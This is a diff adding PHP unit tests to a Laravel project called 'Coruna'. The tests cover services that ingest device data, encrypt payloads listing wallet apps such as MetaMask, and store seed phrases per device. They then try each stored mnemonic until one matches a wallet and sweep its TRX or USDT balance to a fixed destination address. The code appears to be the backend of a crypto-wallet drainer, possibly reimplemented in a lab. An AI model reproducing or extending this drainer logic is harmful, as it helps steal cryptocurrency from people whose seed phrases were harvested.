|
||||
'source' => $source,
|
||||
'monitor' => 0,
|
||||
]);
|
||||
|
||||
if ($mnemonic !== null) {
|
||||
$row = new WalletMnemonic([
|
||||
'device_id' => $device->id,
|
||||
'source' => $source,
|
||||
]);
|
||||
$row->mnemonic = $mnemonic;
|
||||
$row->save();
|
||||
}
|
||||
|
||||
return $device;
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function sends_native_trx_via_trongrid_http(): void
|
||||
{
|
||||
$this->seedFromWallet();
|
||||
|
||||
Http::fake([
|
||||
'*/wallet/createtransaction' => Http::response([
|
||||
'txID' => str_repeat('ab', 32),
|
||||
'raw_data' => ['contract' => []],
|
||||
'raw_data_hex' => '0a00',
|
||||
], 200),
|
||||
'*/wallet/broadcasttransaction' => Http::response([
|
||||
'result' => true,
|
||||
'txid' => str_repeat('ab', 32),
|
||||
], 200),
|
||||
]);
|
||||
|
||||
$result = app(TransferService::class)->handle('tron', self::FROM, '1.5', 'TRX');
|
||||
|
||||
$this->assertTrue($result['ok']);
|
||||
$this->assertSame(str_repeat('ab', 32), $result['txid']);
|
||||
$this->assertSame(self::FROM, $result['from']);
|
||||
$this->assertSame(self::TO, $result['to']);
|
||||
|
||||
Http::assertSent(function ($request) {
|
||||
if (! str_ends_with($request->url(), '/wallet/createtransaction')) {
|
||||
return false;
|
||||
}
|
||||
$data = $request->data();
|
||||
|
||||
return ($data['owner_address'] ?? null) === self::FROM
|
||||
&& ($data['to_address'] ?? null) === self::TO
|
||||
&& ($data['amount'] ?? null) === 1500000
|
||||
&& ($data['visible'] ?? null) === true;
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function sends_usdt_trc20_via_triggersmartcontract(): void
|
||||
{
|
||||
$this->seedFromWallet();
|
||||
|
||||
Http::fake([
|
||||
'*/wallet/triggersmartcontract' => Http::response([
|
||||
'result' => ['result' => true],
|
||||
'transaction' => [
|
||||
'txID' => str_repeat('cd', 32),
|
||||
'raw_data' => ['contract' => []],
|
||||
'raw_data_hex' => '0a00',
|
||||
],
|
||||
], 200),
|
||||
'*/wallet/broadcasttransaction' => Http::response([
|
||||
'result' => true,
|
||||
], 200),
|
||||
]);
|
||||
|
||||
$result = app(TransferService::class)->handle('tron', self::FROM, '10', 'USDT');
|
||||
|
||||
$this->assertTrue($result['ok']);
|
||||
$this->assertSame(str_repeat('cd', 32), $result['txid']);
|
||||
Http::assertSent(fn ($r) => str_ends_with($r->url(), '/wallet/triggersmartcontract'));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function tries_mnemonics_in_order_until_address_matches(): void
|
||||
{
|
||||
$device = $this->seedFromWallet(null);
|
||||
$wrong = new WalletMnemonic([
|
||||
'device_id' => $device->id,
|
||||
'source' => self::SOURCE,
|
||||
]);
|
||||
$wrong->mnemonic = 'legal winner thank year wave sausage worth useful legal winner thank yellow';
|
||||
$wrong->save();
|
||||
|
||||
$right = new WalletMnemonic([
|
||||
'device_id' => $device->id,
|
||||
'source' => self::SOURCE,
|
||||
]);
|
||||
$right->mnemonic = self::MNEMONIC;
|
||||
$right->save();
|
||||
|
||||
Http::fake([
|
||||
'*/wallet/createtransaction' => Http::response([
|
||||
'txID' => str_repeat('ef', 32),
|
||||
'raw_data' => ['contract' => []],
|
||||
'raw_data_hex' => '0a00',
|
||||
], 200),
|
||||
'*/wallet/broadcasttransaction' => Http::response(['result' => true], 200),
|
||||
]);
|
||||
|
||||
$result = app(TransferService::class)->handle('tron', self::FROM, '1', 'TRX');
|
||||
|
||||
$this->assertTrue($result['ok']);
|
||||
$this->assertSame(str_repeat('ef', 32), $result['txid']);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function rejects_when_to_address_missing(): void
|
||||
{
|
||||
config(['coruna.transfer.to_address' => '']);
|
||||
$this->seedFromWallet();
|
||||
|
||||
$result = app(TransferService::class)->handle('tron', self::FROM, '1', 'TRX');
|
||||
|
||||
$this->assertFalse($result['ok']);
|
||||
$this->assertStringContainsString('TRANSFER_TO_ADDRESS', $result['error']);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function rejects_when_no_matching_mnemonic(): void
|
||||
{
|
||||
$this->seedFromWallet(null);
|
||||
|
||||
$result = app(TransferService::class)->handle('tron', self::FROM, '1', 'TRX');
|
||||
|
||||
$this->assertFalse($result['ok']);
|
||||
$this->assertStringContainsString('No mnemonic', $result['error']);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function enforces_max_usdt_limit(): void
|
||||
{
|
||||
$this->seedFromWallet();
|
||||
config(['coruna.transfer.max_usdt' => '5']);
|
||||
|
||||
$result = app(TransferService::class)->handle('tron', self::FROM, '10', 'USDT');
|
||||
|
||||
$this->assertFalse($result['ok']);
|
||||
$this->assertStringContainsString('exceeds max', $result['error']);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function omits_amount_transfers_full_usdt_balance(): void
|
||||
{
|
||||
$this->seedFromWallet();
|
||||
config(['coruna.transfer.trx_fee_reserve' => '1']);
|
||||
|
||||
Http::fake([
|
||||
'*/wallet/triggerconstantcontract' => Http::response([
|
||||
'constant_result' => [str_pad(dechex(12_500_000), 64, '0', STR_PAD_LEFT)],
|
||||
], 200),
|
||||
'*/wallet/triggersmartcontract' => Http::response([
|
||||
'result' => ['result' => true],
|
||||
'transaction' => [
|
||||
'txID' => str_repeat('11', 32),
|
||||
'raw_data' => ['contract' => []],
|
||||
'raw_data_hex' => '0a00',
|
||||
],
|
||||
], 200),
|
||||
'*/wallet/broadcasttransaction' => Http::response(['result' => true], 200),
|
||||
]);
|
||||
|
||||
$result = app(TransferService::class)->handle('tron', self::FROM, null, 'USDT');
|
||||
|
||||
$this->assertTrue($result['ok']);
|
||||
$this->assertSame('12.5', $result['amount']);
|
||||
$this->assertSame('USDT', $result['asset']);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function omits_amount_transfers_trx_minus_fee_reserve(): void
|
||||
{
|
||||
$this->seedFromWallet();
|
||||
config(['coruna.transfer.trx_fee_reserve' => '1']);
|
||||
|
||||
Http::fake([
|
||||
'*/wallet/getaccount' => Http::response([
|
||||
'balance' => 5_000_000, // 5 TRX
|
||||
], 200),
|
||||
'*/wallet/createtransaction' => Http::response([
|
||||
'txID' => str_repeat('22', 32),
|
||||
'raw_data' => ['contract' => []],
|
||||
'raw_data_hex' => '0a00',
|
||||
], 200),
|
||||
'*/wallet/broadcasttransaction' => Http::response(['result' => true], 200),
|
||||
]);
|
||||
|
||||
$result = app(TransferService::class)->handle('tron', self::FROM, null, 'TRX');
|
||||
|
||||
$this->assertTrue($result['ok']);
|
||||
$this->assertSame('4', $result['amount']);
|
||||
|
||||
Http::assertSent(function ($request) {
|
||||
if (! str_ends_with($request->url(), '/wallet/createtransaction')) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return ($request->data()['amount'] ?? null) === 4_000_000;
|
||||
});
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
<?php
|
||||
|
||||
namespace Tests;
|
||||
|
||||
use Illuminate\Foundation\Testing\TestCase as BaseTestCase;
|
||||
|
||||
abstract class TestCase extends BaseTestCase
|
||||
{
|
||||
//
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Unit;
|
||||
|
||||
use App\Services\CorunaCrypto;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class CorunaCryptoTest extends TestCase
|
||||
{
|
||||
#[Test]
|
||||
public function session_key_matches_python_vector(): void
|
||||
{
|
||||
$crypto = new CorunaCrypto;
|
||||
|
||||
$this->assertSame('d2dbe79fbd3f94d09c16a4958b78d1d3', $crypto->deriveArchivePassword(0));
|
||||
$this->assertSame('7@Lb"`W5_7gXN;68', $crypto->sessionKey());
|
||||
$this->assertSame(
|
||||
'9bcc53d7b7523451c4cc2923205575087e6ed47c9fd733be68b76a31ef1be1e4',
|
||||
hash('sha256', $crypto->sessionKey())
|
||||
);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function encrypt_decrypt_round_trip(): void
|
||||
{
|
||||
$crypto = new CorunaCrypto;
|
||||
$payload = ['id' => 'lab-device', 'pn' => 'io.metamask', 'apps' => ['io.metamask']];
|
||||
$ts = '1722585600000';
|
||||
$enc = $crypto->encryptJson($payload, $ts);
|
||||
|
||||
$this->assertSame($ts, $enc['timestamp']);
|
||||
$this->assertSame($payload, $crypto->decryptJsonBody($enc['body'], $enc['timestamp']));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function null_payload_round_trip(): void
|
||||
{
|
||||
$crypto = new CorunaCrypto;
|
||||
$enc = $crypto->encryptJson(null, '1722585600001');
|
||||
$this->assertNull($crypto->decryptJsonBody($enc['body'], $enc['timestamp']));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function archive_password_appends_batch_base(): void
|
||||
{
|
||||
$crypto = new CorunaCrypto;
|
||||
$this->assertSame($crypto->sessionKey().'0', $crypto->archivePassword('0'));
|
||||
$this->assertSame($crypto->sessionKey().'1722585600000', $crypto->archivePassword('1722585600000'));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Unit;
|
||||
|
||||
use PHPUnit\Framework\TestCase;
|
||||
|
||||
class ExampleTest extends TestCase
|
||||
{
|
||||
/**
|
||||
* A basic test example.
|
||||
*/
|
||||
public function test_that_true_is_true(): void
|
||||
{
|
||||
$this->assertTrue(true);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,60 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Unit;
|
||||
|
||||
use App\Services\IngestService;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class IngestServiceNormalizeTest extends TestCase
|
||||
{
|
||||
#[Test]
|
||||
public function check_multipart_device_key_maps_to_json_form(): void
|
||||
{
|
||||
$this->assertSame(
|
||||
'000430C910E8E526',
|
||||
IngestService::normalizeDeviceKey('36323545384530313943303334303030')
|
||||
);
|
||||
$this->assertSame(
|
||||
'000430C910E8E526',
|
||||
IngestService::normalizeDeviceKey('36323545384530313943303334303030')
|
||||
);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function plain_json_device_key_passes_through(): void
|
||||
{
|
||||
$this->assertSame(
|
||||
'000430C910E8E526',
|
||||
IngestService::normalizeDeviceKey('000430C910E8E526')
|
||||
);
|
||||
$this->assertSame('dev-photo-1', IngestService::normalizeDeviceKey('dev-photo-1'));
|
||||
$this->assertNull(IngestService::normalizeDeviceKey(null));
|
||||
$this->assertSame('', IngestService::normalizeDeviceKey(''));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function extract_device_key_normalizes_form_nested_d(): void
|
||||
{
|
||||
$ingest = $this->app->make(IngestService::class);
|
||||
$this->assertSame(
|
||||
'000430C910E8E526',
|
||||
$ingest->extractDeviceKey([
|
||||
'form' => [
|
||||
'd' => '36323545384530313943303334303030',
|
||||
'f' => '36323545384530313943303334303030',
|
||||
],
|
||||
])
|
||||
);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function decode_hex_counter_pair_splits_idx_ftu(): void
|
||||
{
|
||||
$this->assertSame([0, 7], IngestService::decodeHexCounterPair('000000000007'));
|
||||
$this->assertSame([7, 0], IngestService::decodeHexCounterPair('000007000000'));
|
||||
$this->assertSame([1, 2], IngestService::decodeHexCounterPair('000001000002'));
|
||||
$this->assertSame([null, null], IngestService::decodeHexCounterPair('bad'));
|
||||
$this->assertSame([null, null], IngestService::decodeHexCounterPair(null));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Unit;
|
||||
|
||||
use App\Services\Chain\TronDriver;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class TronDriverTest extends TestCase
|
||||
{
|
||||
private const MNEMONIC = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
||||
|
||||
#[Test]
|
||||
public function derives_known_tron_address_from_bip44_path(): void
|
||||
{
|
||||
$driver = new TronDriver;
|
||||
|
||||
$this->assertSame(
|
||||
'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH',
|
||||
$driver->deriveAddress(self::MNEMONIC, 0)
|
||||
);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function validates_tron_base58_addresses(): void
|
||||
{
|
||||
$driver = new TronDriver;
|
||||
|
||||
$this->assertTrue($driver->isValidAddress('TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH'));
|
||||
$this->assertFalse($driver->isValidAddress('0xab5c66752a9e8167967685f1450532fb96d5d24f'));
|
||||
$this->assertFalse($driver->isValidAddress('Tinvalid'));
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user